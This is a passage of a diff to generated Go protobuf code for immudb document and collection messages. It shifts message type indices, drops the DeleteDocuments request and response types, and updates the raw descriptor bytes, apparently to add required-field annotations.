&file_documents_proto_msgTypes[29] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1598,7 +1683,7 @@ func (x *DocumentAtRevision) String() string { func (*DocumentAtRevision) ProtoMessage() {} func (x *DocumentAtRevision) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[27] + mi := &file_documents_proto_msgTypes[29] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1611,7 +1696,7 @@ func (x *DocumentAtRevision) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentAtRevision.ProtoReflect.Descriptor instead. func (*DocumentAtRevision) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{27} + return file_documents_proto_rawDescGZIP(), []int{29} } func (x *DocumentAtRevision) GetTransactionId() uint64 { @@ -1660,7 +1745,7 @@ type DocumentMetadata struct { func (x *DocumentMetadata) Reset() { *x = DocumentMetadata{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[28] + mi := &file_documents_proto_msgTypes[30] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1673,7 +1758,7 @@ func (x *DocumentMetadata) String() string { func (*DocumentMetadata) ProtoMessage() {} func (x *DocumentMetadata) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[28] + mi := &file_documents_proto_msgTypes[30] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1686,7 +1771,7 @@ func (x *DocumentMetadata) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentMetadata.ProtoReflect.Descriptor instead. func (*DocumentMetadata) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{28} + return file_documents_proto_rawDescGZIP(), []int{30} } func (x *DocumentMetadata) GetDeleted() bool { @@ -1711,7 +1796,7 @@ type AuditDocumentRequest struct { func (x *AuditDocumentRequest) Reset() { *x = AuditDocumentRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[29] + mi := &file_documents_proto_msgTypes[31] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1724,7 +1809,7 @@ func (x *AuditDocumentRequest) String() string { func (*AuditDocumentRequest) ProtoMessage() {} func (x *AuditDocumentRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[29] + mi := &file_documents_proto_msgTypes[31] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1737,7 +1822,7 @@ func (x *AuditDocumentRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use AuditDocumentRequest.ProtoReflect.Descriptor instead. func (*AuditDocumentRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{29} + return file_documents_proto_rawDescGZIP(), []int{31} } func (x *AuditDocumentRequest) GetCollection() string { @@ -1786,7 +1871,7 @@ type AuditDocumentResponse struct { func (x *AuditDocumentResponse) Reset() { *x = AuditDocumentResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[30] + mi := &file_documents_proto_msgTypes[32] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1799,7 +1884,7 @@ func (x *AuditDocumentResponse) String() string { func (*AuditDocumentResponse) ProtoMessage() {} func (x *AuditDocumentResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[30] + mi := &file_documents_proto_msgTypes[32] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1812,7 +1897,7 @@ func (x *AuditDocumentResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use AuditDocumentResponse.ProtoReflect.Descriptor instead. func (*AuditDocumentResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{30} + return file_documents_proto_rawDescGZIP(), []int{32} } func (x *AuditDocumentResponse) GetRevisions() []*DocumentAtRevision { @@ -1836,7 +1921,7 @@ type ProofDocumentRequest struct { func (x *ProofDocumentRequest) Reset() { *x = ProofDocumentRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[31] + mi := &file_documents_proto_msgTypes[33] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1849,7 +1934,7 @@ func (x *ProofDocumentRequest) String() string { func (*ProofDocumentRequest) ProtoMessage() {} func (x *ProofDocumentRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[31] + mi := &file_documents_proto_msgTypes[33] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1862,7 +1947,7 @@ func (x *ProofDocumentRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use ProofDocumentRequest.ProtoReflect.Descriptor instead. func (*ProofDocumentRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{31} + return file_documents_proto_rawDescGZIP(), []int{33} } func (x *ProofDocumentRequest) GetCollection() string { @@ -1908,7 +1993,7 @@ type ProofDocumentResponse struct { func (x *ProofDocumentResponse) Reset() { *x = ProofDocumentResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[32] + mi := &file_documents_proto_msgTypes[34] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1921,7 +2006,7 @@ func (x *ProofDocumentResponse) String() string { func (*ProofDocumentResponse) ProtoMessage() {} func (x *ProofDocumentResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[32] + mi := &file_documents_proto_msgTypes[34] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1934,7 +2019,7 @@ func (x *ProofDocumentResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use ProofDocumentResponse.ProtoReflect.Descriptor instead. func (*ProofDocumentResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{32} + return file_documents_proto_rawDescGZIP(), []int{34} } func (x *ProofDocumentResponse) GetDatabase() string { @@ -1972,91 +2057,6 @@ func (x *ProofDocumentResponse) GetVerifiableTx() *schema.VerifiableTxV2 { return nil } -type DeleteDocumentsRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Query *Query `protobuf:"bytes,1,opt,name=query,proto3" json:"query,omitempty"` -} - -func (x *DeleteDocumentsRequest) Reset() { - *x = DeleteDocumentsRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[33] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *DeleteDocumentsRequest) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*DeleteDocumentsRequest) ProtoMessage() {} - -func (x *DeleteDocumentsRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[33] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use DeleteDocumentsRequest.ProtoReflect.Descriptor instead. -func (*DeleteDocumentsRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{33} -} - -func (x *DeleteDocumentsRequest) GetQuery() *Query { - if x != nil { - return x.Query - } - return nil -} - -type DeleteDocumentsResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields -} - -func (x *DeleteDocumentsResponse) Reset() { - *x = DeleteDocumentsResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[34] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *DeleteDocumentsResponse) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*DeleteDocumentsResponse) ProtoMessage() {} - -func (x *DeleteDocumentsResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[34] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use DeleteDocumentsResponse.ProtoReflect.Descriptor instead. -func (*DeleteDocumentsResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{34} -} - var File_documents_proto protoreflect.FileDescriptor var file_documents_proto_rawDesc = []byte{ @@ -2069,7 +2069,7 @@ var file_documents_proto_rawDesc = []byte{ 0x74, 0x6f, 0x63, 0x2d, 0x67, 0x65, 0x6e, 0x2d, 0x73, 0x77, 0x61, 0x67, 0x67, 0x65, 0x72, 0x2f, 0x6f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x0c, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0xbb, 0x01, 0x0a, 0x17, 0x43, 0x72, 0x65, 0x61, + 0x61, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0xc9, 0x01, 0x0a, 0x17, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x30, 0x0a, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, @@ -2081,342 +2081,364 @@ var file_documents_proto_rawDesc = []byte{ 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x2d, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x07, 0x69, 0x6e, - 0x64, 0x65, 0x78, 0x65, 0x73, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x48, 0x0a, 0x05, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, - 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2b, - 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, - 0x64, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x3b, 0x0a, 0x05, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x01, - 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x1a, 0x0a, 0x08, - 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, - 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0x2a, 0x0a, 0x14, 0x47, 0x65, 0x74, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x51, 0x0a, 0x15, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x38, 0x0a, - 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xae, 0x01, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x30, 0x0a, 0x13, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x06, - 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, - 0x64, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x2d, 0x0a, 0x07, 0x69, 0x6e, 0x64, - 0x65, 0x78, 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, - 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x47, 0x65, 0x74, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x22, 0x54, 0x0a, 0x16, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3a, 0x0a, 0x0b, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x44, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x5f, 0x0a, 0x17, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, - 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, - 0x65, 0x12, 0x30, 0x0a, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, - 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, - 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, + 0x64, 0x65, 0x78, 0x65, 0x73, 0x3a, 0x0c, 0x92, 0x41, 0x09, 0x0a, 0x07, 0xd2, 0x01, 0x04, 0x6e, + 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x68, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, + 0x5d, 0x0a, 0x05, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x04, + 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, + 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x3a, 0x13, 0x92, 0x41, 0x10, 0x0a, 0x0e, + 0xd2, 0x01, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x3b, + 0x0a, 0x05, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, + 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, + 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0x38, 0x0a, 0x14, 0x47, + 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x3a, 0x0c, 0x92, 0x41, 0x09, 0x0a, 0x07, 0xd2, 0x01, + 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x51, 0x0a, 0x15, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x38, + 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xae, 0x01, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x30, 0x0a, 0x13, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, + 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, + 0x6c, 0x64, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x2d, 0x0a, 0x07, 0x69, 0x6e, + 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x52, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x47, 0x65, 0x74, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x22, 0x54, 0x0a, 0x16, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3a, 0x0a, 0x0b, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x3b, 0x0a, 0x17, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x3a, 0x0c, 0x92, 0x41, 0x09, 0x0a, 0x07, 0xd2, 0x01, + 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x6d, 0x0a, 0x17, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x12, 0x30, 0x0a, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, + 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, + 0x6d, 0x65, 0x3a, 0x0c, 0x92, 0x41, 0x09, 0x0a, 0x07, 0xd2, 0x01, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x22, 0x1a, 0x0a, 0x18, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x7c, 0x0a, 0x12, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, + 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, + 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, + 0x55, 